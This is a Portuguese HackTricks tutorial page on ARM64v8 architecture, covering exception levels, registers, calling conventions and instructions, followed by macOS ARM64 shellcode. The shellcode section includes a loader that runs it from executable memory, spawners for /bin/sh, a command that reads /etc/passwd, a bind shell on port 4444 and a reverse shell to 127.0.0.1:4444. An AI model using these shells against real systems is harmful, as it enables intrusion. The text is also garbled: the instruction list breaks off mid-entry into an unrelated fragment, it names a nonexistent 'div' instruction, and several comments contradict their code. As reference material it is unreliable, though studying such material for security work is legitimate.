27 KiB
Introdução ao ARM64v8
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo do telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub HackTricks e HackTricks Cloud.
Níveis de Exceção - EL (ARM64v8)
Na arquitetura ARMv8, os níveis de execução, conhecidos como Níveis de Exceção (ELs), definem o nível de privilégio e as capacidades do ambiente de execução. Existem quatro níveis de exceção, variando de EL0 a EL3, cada um com um propósito diferente:
- EL0 - Modo Usuário:
- Este é o nível menos privilegiado e é usado para executar código de aplicativos regulares.
- Aplicações executadas no EL0 são isoladas umas das outras e do software do sistema, aumentando a segurança e estabilidade.
- EL1 - Modo Kernel do Sistema Operacional:
- A maioria dos kernels de sistemas operacionais rodam neste nível.
- EL1 tem mais privilégios que EL0 e pode acessar recursos do sistema, mas com algumas restrições para garantir a integridade do sistema.
- EL2 - Modo Hipervisor:
- Este nível é usado para virtualização. Um hipervisor executando no EL2 pode gerenciar múltiplos sistemas operacionais (cada um em seu próprio EL1) rodando no mesmo hardware físico.
- EL2 fornece recursos para isolamento e controle dos ambientes virtualizados.
- EL3 - Modo Monitor Seguro:
- Este é o nível mais privilegiado e é frequentemente usado para boot seguro e ambientes de execução confiáveis.
- EL3 pode gerenciar e controlar acessos entre estados seguros e não seguros (como boot seguro, OS confiável, etc.).
O uso desses níveis permite uma maneira estruturada e segura de gerenciar diferentes aspectos do sistema, de aplicações de usuários ao software de sistema mais privilegiado. A abordagem da ARMv8 para níveis de privilégio ajuda a isolar efetivamente diferentes componentes do sistema, aumentando assim a segurança e robustez do sistema.
Registradores (ARM64v8)
ARM64 possui 31 registradores de uso geral, rotulados de x0
a x30
. Cada um pode armazenar um valor de 64 bits (8 bytes). Para operações que requerem apenas valores de 32 bits, os mesmos registradores podem ser acessados em um modo de 32 bits usando os nomes w0 a w30.
x0
ax7
- Tipicamente usados como registradores temporários e para passar parâmetros para sub-rotinas.
x0
também carrega o dado de retorno de uma função
x8
- No kernel do Linux,x8
é usado como o número da chamada de sistema para a instruçãosvc
. No macOS o x16 é o utilizado!x9
ax15
- Mais registradores temporários, frequentemente usados para variáveis locais.x16
ex17
- Registradores de Chamada Intraprocedural. Registradores temporários para valores imediatos. Também são usados para chamadas de função indiretas e stubs da Tabela de Ligação de Procedimentos (PLT).
x16
é usado como o número da chamada de sistema para a instruçãosvc
no macOS.
x18
- Registrador da Plataforma. Pode ser usado como um registrador de uso geral, mas em algumas plataformas, este registrador é reservado para usos específicos da plataforma: Ponteiro para o bloco de ambiente de thread atual no Windows, ou para apontar para a estrutura de tarefa em execução no kernel do Linux.x19
ax28
- Estes são registradores preservados pelo chamador. Uma função deve preservar os valores destes registradores para seu chamador, então eles são armazenados na pilha e recuperados antes de voltar ao chamador.x29
- Ponteiro de quadro para acompanhar o quadro de pilha. Quando um novo quadro de pilha é criado porque uma função é chamada, o registradorx29
é armazenado na pilha e o novo endereço do ponteiro de quadro é (sp
endereço) é armazenado neste registro.
- Este registrador também pode ser usado como um registro de uso geral embora geralmente seja usado como referência para variáveis locais.
x30
oulr
- Registrador de Link. Ele contém o endereço de retorno quando uma instruçãoBL
(Branch with Link) ouBLR
(Branch with Link to Register) é executada armazenando o valor depc
neste registrador.
- Ele também pode ser usado como qualquer outro registrador.
sp
- Ponteiro de pilha, usado para acompanhar o topo da pilha.
- o valor de
sp
deve sempre ser mantido com pelo menos um alinhamento de quadword ou uma exceção de alinhamento pode ocorrer.
pc
- Contador de programa, que aponta para a instrução atual. Este registrador só pode ser atualizado através de gerações de exceção, retornos de exceção e ramificações. As únicas instruções ordinárias que podem ler este registrador são as instruções de ramificação com link (BL, BLR) para armazenar o endereço depc
emlr
(Registrador de Link).xzr
- Registrador Zero. Também chamado dewzr
na sua forma de registro de 32 bits. Pode ser usado para obter facilmente o valor zero (operação comum) ou para realizar comparações usandosubs
comosubs XZR, Xn, #10
armazenando os dados resultantes em lugar nenhum (emxzr
).
Os registradores Wn
são a versão 32 bits do registrador Xn
.
SIMD e Registradores de Ponto Flutuante
Além disso, existem outros 32 registradores de 128 bits que podem ser usados em operações otimizadas de instrução única múltiplos dados (SIMD) e para realizar aritmética de ponto flutuante. Estes são chamados de registradores Vn embora também possam operar em 64 bits, 32 bits, 16 bits e 8 bits e então são chamados Qn
, Dn
, Sn
, Hn
e Bn
.
Registradores do Sistema
existem centenas de registradores do sistema, também chamados de registradores de propósito especial (SPRs), usados para monitorar e controlar o comportamento dos processadores.
Eles só podem ser lidos ou configurados usando a instrução especial dedicada mrs
e msr
.
Os registradores especiais TPIDR_EL0
e TPIDDR_EL0
são comuns quando se faz engenharia reversa. O sufixo EL0
indica o nível mínimo de exceção do qual o registrador pode ser acessado (neste caso, EL0 é o nível regular de exceção (privilégio) com o qual programas regulares são executados).
Eles são frequentemente usados para armazenar o endereço base do armazenamento local de thread na memória. Geralmente o primeiro é legível e gravável para programas executados em EL0, mas o segundo pode ser lido de EL0 e escrito de EL1 (como kernel).
mrs x0, TPIDR_EL0 ; Lê TPIDR_EL0 em x0
msr TPIDR_EL0, X0 ; Escreve TPIDR_EL0 em x1
PSTATE
PSTATE é vários componentes serializados no registrador especial visível pelo sistema operacional SPSR_ELx
. Estes são os campos acessíveis:
- As
N
,Z
,C
eV
flags de condição: N
significa que a operação resultou em um valor negativoZ
significa que a operação resultou em zeroC
significa que a operação teve carryV
significa que a operação resultou em um overflow assinado:- A soma de dois números positivos resulta em um valor negativo.
- A soma de dois números negativos resulta em um valor positivo.
- Na subtração, quando um número negativo grande é subtraído de um número positivo menor (ou vice-versa), e o resultado não pode ser representado dentro do intervalo do tamanho de bits dado.
- A flag de largura do registrador atual (
nRW
): Se a flag tiver o valor 0, o programa executará no estado de execução AArch64 assim que for retomado. - O Nível de Exceção atual (
EL
): Um programa regular executando em EL0 terá o valor 0 - A flag de passo único (
SS
): Usada por depuradores para passo único configurando a flag SS para 1 dentro deSPSR_ELx
através de uma exceção. O programa executará um passo e emitirá uma exceção de passo único. - A flag de estado de exceção ilegal (
IL
): É usada para marcar quando um software privilegiado realiza uma transferência de nível de exceção inválida, esta flag é configurada para 1 e o processador dispara uma exceção de estado ilegal. - As flags
DAIF
: Estas flags permitem que um programa privilegiado mascare seletivamente certas exceções externas. - As flags de seleção do ponteiro de pilha (
SPS
): Programas privilegiados executando em EL1 e acima podem alternar entre usar seu próprio registrador de ponteiro de pilha e o do modelo de usuário (por exemplo, entreSP_EL1
eEL0
). Esta troca é realizada escrevendo no registrador especialSPSel
. Isso não pode ser feito a partir de EL0.
Convenção de Chamadas (ARM64v8)
A convenção de chamadas ARM64 especifica que os primeiros oito parâmetros para uma função são passados nos registradores x0
a x7
. Parâmetros adicionais são passados na pilha. O valor de retorno é passado de volta no registrador x0
, ou em x1
também se for de 128 bits. Os registradores x19
a x30
e sp
devem ser preservados através das chamadas de função.
Ao ler uma função em assembly, procure pelo prólogo e epílogo da função. O prólogo geralmente envolve salvar o ponteiro de quadro (x29
), configurar um novo ponteiro de quadro, e alocar espaço na pilha. O epílogo geralmente envolve restaurar o ponteiro de quadro salvo e retornar da função.
Convenção de Chamadas em Swift
Swift tem sua própria convenção de chamadas que pode ser encontrada em https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64
Instruções Comuns (ARM64v8)
Instruções ARM64 geralmente têm o formato opcode dst, src1, src2
, onde opcode
é a operação a ser realizada (como add
, sub
, mov
, etc.), dst
é o registrador destino onde o resultado será armazenado, e src1
e src2
são os registradores fonte. Valores imediatos também podem ser usados no lugar dos registradores fonte.
mov
: Move um valor de um registrador para outro.- Exemplo:
mov x0, x1
— Isso move o valor dex1
parax0
. ldr
: Carrega um valor da memória para um registrador.- Exemplo:
ldr x0, [x1]
— Isso carrega um valor do local de memória apontado porx1
parax0
. str
: Armazena um valor de um registrador na memória.- Exemplo:
str x0, [x1]
— Isso armazena o valor emx0
no local de memória apontado porx1
. ldp
: Carrega Par de Registradores. Esta instrução carrega dois registradores de locais de memória consecutivos. O endereço de memória é tipicamente formado adicionando um deslocamento ao valor em outro registrador.- Exemplo:
ldp x0, x1, [x2]
— Isso carregax0
ex1
dos locais de memória emx2
ex2 + 8
, respectivamente. stp
: Armazena Par de Registradores. Esta instrução armazena dois registradores em locais de memória consecutivos. O endereço de memória é tipicamente formado adicionando um deslocamento ao valor em outro registrador.- Exemplo:
stp x0, x1, [x2]
— Isso armazenax0
ex1
nos locais de memória emx2
ex2 + 8
, respectivamente. add
: Adiciona os valores de dois registradores e armazena o resultado em um registrador.- Exemplo:
add x0, x1, x2
— Isso adiciona os valores emx1
ex2
e armazena o resultado emx0
. sub
: Subtrai os valores de dois registradores e armazena o resultado em um registrador.- Exemplo:
sub x0, x1, x2
— Isso subtrai o valor emx2
dex1
e armazena o resultado emx0
. mul
: Multiplica os valores de dois registradores e armazena o resultado em um registrador.- Exemplo:
mul x0, x1, x2
— Isso multiplica os valores emx1
ex2
e armazena o resultado emx0
. div
: Divide o valor de um registrador por outro e armazena o resultado em um registrador.- Exemplo:
div x0, x1, x2
— Isso divide o valor emx1
porx2
e armazena o resultado emx0
. bl
: Ramifica com link, usado para chamar uma sub-rotina. Armazena o endereço de retorno emx30
.- Exemplo:
bl myFunction
— Isso chama a funçãomyFunction
e armazena o endereço de retorno emx30
. blr
: **
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
{% endcode %}
- Retorno:
ret
(devolve o controle ao chamador usando o endereço no registro de ligação)
Estado de Execução AARCH32
Armv8-A suporta a execução de programas de 32 bits. AArch32 pode rodar em um de dois conjuntos de instruções: A32
e T32
e pode alternar entre eles via interworking
.
Programas privilegiados de 64 bits podem agendar a execução de programas de 32 bits executando uma transferência de nível de exceção para o 32 bits menos privilegiado.
Note que a transição de 64 bits para 32 bits ocorre com uma redução do nível de exceção (por exemplo, um programa de 64 bits em EL1 acionando um programa em EL0). Isso é feito configurando o bit 4 do SPSR_ELx
registro especial para 1 quando o processo de thread AArch32
está pronto para ser executado e o restante do SPSR_ELx
armazena o CPSR dos programas AArch32
. Então, o processo privilegiado chama a instrução ERET
para que o processador faça a transição para AArch32
, entrando em A32 ou T32 dependendo do CPSR**.**
macOS
Chamadas de sistema BSD
Confira syscalls.master. Chamadas de sistema BSD terão x16 > 0.
Armadilhas Mach
Confira syscall_sw.c. Armadilhas Mach terão x16 < 0, então você precisa chamar os números da lista anterior com um menos: _kernelrpc_mach_vm_allocate_trap
é -10
.
Você também pode verificar libsystem_kernel.dylib
em um desmontador para descobrir como chamar essas chamadas de sistema (e BSD):
# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
{% hint style="success" %}
Às vezes é mais fácil verificar o código decompilado de libsystem_kernel.dylib
do que verificar o código fonte porque o código de várias syscalls (BSD e Mach) é gerado por scripts (verifique os comentários no código fonte), enquanto na dylib você pode encontrar o que está sendo chamado.
{% endhint %}
Shellcodes
Para compilar:
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
Para extrair os bytes:
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
Código em C para testar o shellcode
```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include <sys/mman.h> #include #includeint (*sc)();
char shellcode[] = "";
int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);
void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);
printf("[>] Trying to execute shellcode...\n");
sc = ptr; sc();
return 0; }
</details>
#### Shell
Retirado [**daqui**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) e explicado.
{% tabs %}
{% tab title="com adr" %}
```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
adr x0, sh_path ; This is the address of "/bin/sh".
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
sh_path: .asciz "/bin/sh"
{% endtab %}
{% tab title="com pilha" %}
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
; We are going to build the string "/bin/sh" and place it on the stack.
mov x1, #0x622F ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
movk x1, #0x68, lsl #48 ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.
str x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.
; Prepare arguments for the execve syscall.
mov x1, #8 ; Set x1 to 8.
sub x0, sp, x1 ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
; Make the syscall.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
{% endtab %} {% endtabs %}
Ler com cat
O objetivo é executar execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)
, então o segundo argumento (x1) é um array de parâmetros (o que na memória significa uma pilha dos endereços).
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1] ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path ; Get the address of "/etc/passwd"
str x0, [x1, #8] ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16] ; Store NULL as the third argument (end of arguments)
adr x0, cat_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"
Invocar comando com sh a partir de um fork para que o processo principal não seja encerrado
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the fork syscall
mov x16, #2 ; Load the syscall number for fork (2) into x8
svc 0 ; Make the syscall
cmp x1, #0 ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop ; If not child process, loop
; Prepare the arguments for the execve syscall
sub sp, sp, #64 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1] ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option ; Get the address of "-c"
str x0, [x1, #8] ; Store the address of "-c" as the second argument
adr x0, touch_command ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16] ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24] ; Store NULL as the fourth argument (end of arguments)
adr x0, sh_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
_exit:
mov x16, #1 ; Load the syscall number for exit (1) into x8
mov x0, #0 ; Set exit status code to 0
svc 0 ; Make the syscall
_loop: b _loop
sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"
Bind shell
Bind shell de https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s na porta 4444
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 0.0.0.0 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #104
svc #0x1337
call_listen:
// listen(s, 2)
mvn x0, x3
lsr x1, x2, #3
mov x16, #106
svc #0x1337
call_accept:
// c = accept(s, 0, 0)
mvn x0, x3
mov x1, xzr
mov x2, xzr
mov x16, #30
svc #0x1337
mvn x3, x0
lsr x2, x16, #4
lsl x2, x2, #2
call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
Shell reverso
De https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s, shell reverso para 127.0.0.1:4444
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 127.0.0.1 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #98
svc #0x1337
lsr x2, x2, #2
call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do HackTricks e HackTricks Cloud.